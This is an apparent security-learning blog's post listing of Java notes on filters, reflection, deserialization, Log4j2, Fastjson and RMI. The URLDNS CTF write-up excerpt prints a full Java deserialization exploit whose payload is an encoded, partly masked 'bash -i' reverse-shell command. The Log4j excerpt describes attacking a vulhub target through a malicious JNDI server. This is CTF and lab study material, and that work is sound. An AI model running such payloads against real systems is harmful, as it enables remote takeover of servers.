java filter鉴权

filter鉴权 filter原理 filter是Java Servlet规范中的一个组件,用于拦截和处理HTTP请求和响应。它是一种服务器端的组件,可以在请求到达Servlet之前或响应返回给客户端之前对请求和响应进行拦截和处理。 filter的全部生命周期如下: ​初始化:通过init()方法加载配置。 ​执行:每次请求触发doFilter()方法。 ​销毁:通过destroy()方法释放资源。 接口 在java中使用filter需要实现javax.servlet.Filter接口 public class EncodingFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { request.setCharacterEncoding("UTF-8"); response.setCharacterEncoding("UTF-8"); chain.doFilter(request, response); // 传递请求 } } 调用和扩展filter接口的本质就是重写doFilter()方法,然后调用chain.doFilter()传递请求。 多个Filter按配置顺序形成链式处理,顺序由web.xml中的声明顺序或注解的类名决定。 绕过 在Java中通常会使用request.getRequestURL()和request.getRequestURI()这两个方法获取请求路径,然后对请求路径做校验。 ...

April 2, 2025 · 1 min · 110 words · huarui

java反射

本文写于2024-11-14 ,最后修改于2025-3-17 java反射 写在前面 最近花了很长的时间去学习java,前后把Java se ,Java web,spring boot都搞了一遍(还搞了个springboot项目当练手): Bilibili-Film-Area-top-webcrawler。现在终于有心回来搞安全了 最近打算开始学链子的内容,从反射开始一步一步走。反正考完数电无事可做,就当是消磨时间了 举例 例子: public class testForName { public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException { Class c = Class.forName("student"); Class c1 = new student(2,"wm").getClass(); Class c2 = student.class; //c,c1,c2指向同一个Class对象 System.out.println(c2.getMethod("getName")); Class c3 = c.getSuperclass(); System.out.println(c3.getMethod("getJob")); } } class person{ private String job = "工人"; public String getJob() { return job; } public void setJob(String job) { this.job = job; } } class student extends person{ private int id = 0; private String name = "mak"; public int getId() { return id; } public String getName() { return name; } public student(int id, String name) { this.id = id; this.name = name; } public void setId(int id) { this.id = id; } @Override public String toString() { return "student{" + "id=" + id + ", name='" + name + '\'' + '}'; } } 获取Class对象: 1.通过类名 Class c = Class.forName("student"); Class.forName(“类名”) 即后文的student类 ...

March 17, 2025 · 3 min · 556 words · huarui

异常java.io.InvalidClassException的解决方法

对象序列化实现Serializable会出现java.io.InvalidClassException的解决方法 错误如图所示: java.io.InvalidClassException: cat.uwu.begin_java.Evil; local class incompatible: stream classdesc serialVersionUID = 1361392555563942995, local class serialVersionUID = -8992112659118101069 本地解决办法: 给Evil类加上serialVersionUID: 原: public class Evil implements Serializable { private String cmd; 现: public class Evil implements Serializable { private static final long serialVersionUID = -8992112659118101069L; private String cmd; 远程服务器解决办法(ctf环境): 如果你有源码,请直接使用源码的java类,不要进行任何修改。 ...

March 17, 2025 · 1 min · 49 words · huarui

URLDNS实战

写在前面 题目来源:ISCTF2024 URLDNS 思路 拿到jar文件,先使用jd-gui反编译看一下内容 可以看到两个关键类Eval.clss和IndexController.clss 可以看到在IndexController类中,@PostMapping注解处接收/ser路由,当我们传参unser,他就会调用base64deserial方法解码base64字符串,对传入的内容进行反序列化。 但是我们都知道,URLDNS链并没有实际的高危利用方法,链子过程在此不表 详情请看 URLDNS链 转到Eval.clss类中,我们可以看到在base64deserial方法中,有一个eval方法,这个方法接收了一个字符串,然后在hashCode方法中使用了Runtime.getRuntime().exec()方法执行了传入的字符串。 这下思路就清晰了,我们可以借鉴URLDNS链的利用思路,通过反序列化的方式去利用Evil类的HashCode方法,从而调用Runtime.getRuntime().exec()方法执行命令。 POC 直接上POC package cat.uwu.begin_java; import java.util.Base64; import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; public class EvilURLDNS { public static void serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); String base64Encoded = Base64.getEncoder().encodeToString(baos.toByteArray()); try (FileWriter writer = new FileWriter("ser.txt")) { writer.write(base64Encoded); } } public static void base64deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static void main(String[] args) throws Exception { Class<?> evilClass = Class.forName("cat.uwu.begin_java.Evil"); Constructor<?> evilcon = evilClass.getDeclaredConstructor(String.class); evilcon.setAccessible(true); Object evilInstance = evilcon.newInstance("bash -c {echo,YmFzaCAtaSA+Ji****************}|{base64,-d}|{bash,-i}"); HashMap<Object, String> hashMap = new HashMap<>(); hashMap.put(evilInstance, "1"); serialize(hashMap); } } ser.txt的文件就是payload

March 14, 2025 · 1 min · 122 words · huarui

IDEA 使用

IDEA 部分使用指南 写在前面 这是idea在安全研究中的一些使用小笔记,,,给我这种菜鸡用的,,,hh 断点 这是下断点,然后在右上角选择debug模式运行就能观察被断点的程序的执行过程了。 调试 调试模式下如图所示 帧 帧就是程序执行的过程,可以通过点击左边的箭头切换帧 在左边状态栏从上往下依次是追踪的帧 最上面的是当前帧,最下面的是main函数 代码界面 在代码界面使用ctrl+左键可以点击进入函数 在代码旁边的灰色提示中可以看到函数的参数

March 12, 2025 · 1 min · 15 words · huarui

log4j2

Log4j 写在前面 没想到不到一年我已经进步到能看得懂分析文章,再自己写文章的水平了。希望今年再接再厉吧, 利用 这里我用vulhub的容器搭建的,靶机地址为172.27.118.120 有个传入参数的点 http://172.27.118.120:8983/solr/admin/cores?action= 我还是刚刚用JNDI-Injection-Exploit起一个恶意服务器。 直接打poc即可 关于链子 这条链子的利用比我想象的简单 ...

March 11, 2025 · 1 min · 58 words · huarui

关于

欢迎使用来到我的博客 *如果你无法正常显示右边的图标(如显示为红色方框),请使用http(而不是https)来访问博客

March 4, 2025 · 1 min · 4 words · huarui

Fastjson 1.2.24 RCE

Fastjson 1.2.24 RCE 环境 JDK&java:1.8 依赖:fastjson1.2.24 写在前面 后续会更新相应的利用到54huarui/fastjsonfileread-test-exp 关于Fastjson Fastjson 的反序列化是指将 JSON 格式的字符串转换为 Java 对象的过程。它通过 JSON.parseObject() 方法实现,支持将 JSON 数据映射到 Java 的普通类、集合、映射等多种数据结构 解析Fastjson 内部使用一个解析器( DefaultJSONParser )将 JSON 字符串分解为一个个字段。解析器会逐字符读取 JSON 数据,识别出键值对、数组、嵌套对象等结构。 Fastjson 根据目标类的类型信息,通过反射机制加载对应的 Java 类。如果 JSON 数据中包含 @type 字段,Fastjson 会根据 @type 的值动态加载指定的类。例如: {"@type": "com.example.User", "name": "John", "age": 30} 在反序列化时,Fastjson 会加载 com.example.User 类,并创建其实例。 ...

February 26, 2025 · 1 min · 135 words · huarui

RMI

RMI 写在前面 RMI实现,缝缝补补一些知识 环境 jdk20 java.rmi 简要 RMI 是 Java 提供的一个完善的简单易用的远程方法调用框架,采用客户/服务器通信方式,在服务器上部署了提供各种服务的远程对象,客户端请求访问服务器上远程对象的方法,它要求客户端与服务器端都是 Java 程序。 一般来说,RMI的实现需要三种角色: 客户端 服务端 注册中心 过程 1.定义远程接口 首先需要定义一个远程接口,它必须继承自java.rmi.Remote接口,并且所有方法都必须声明抛出RemoteException。 这段代码发生在服务端 import java.rmi.Remote; import java.rmi.RemoteException; public interface RemoteInterface extends Remote { String sayHello(String name) throws RemoteException; } 2. 实现远程接口 远程实现类需要实现远程接口,并且必须继承自 java.rmi.server.UnicastRemoteObject 类。 UnicastRemoteObject 类提供了远程对象的基本功能。 ...

February 18, 2025 · 1 min · 211 words · huarui

servlet

Servlet web.xml 在 web.xml 中,Servlet 的配置在 Servlet 标签中,Servlet 标签是由 Servlet 和 Servlet-mapping 标签组成,两者通过在 Servlet 和 Servlet-mapping 标签中相同的 Servlet-name 名称实现关联,在图 4-3 中的标签含义如下。 servlet:声明 Servlet 配置入口。 description:声明 Servlet 描述信息。 :定义 Web 应用的名字。 :声明 Servlet 名称以便在后面的映射时使用。 :指定当前 servlet 对应的类的路径。 ...

February 18, 2025 · 1 min · 78 words · huarui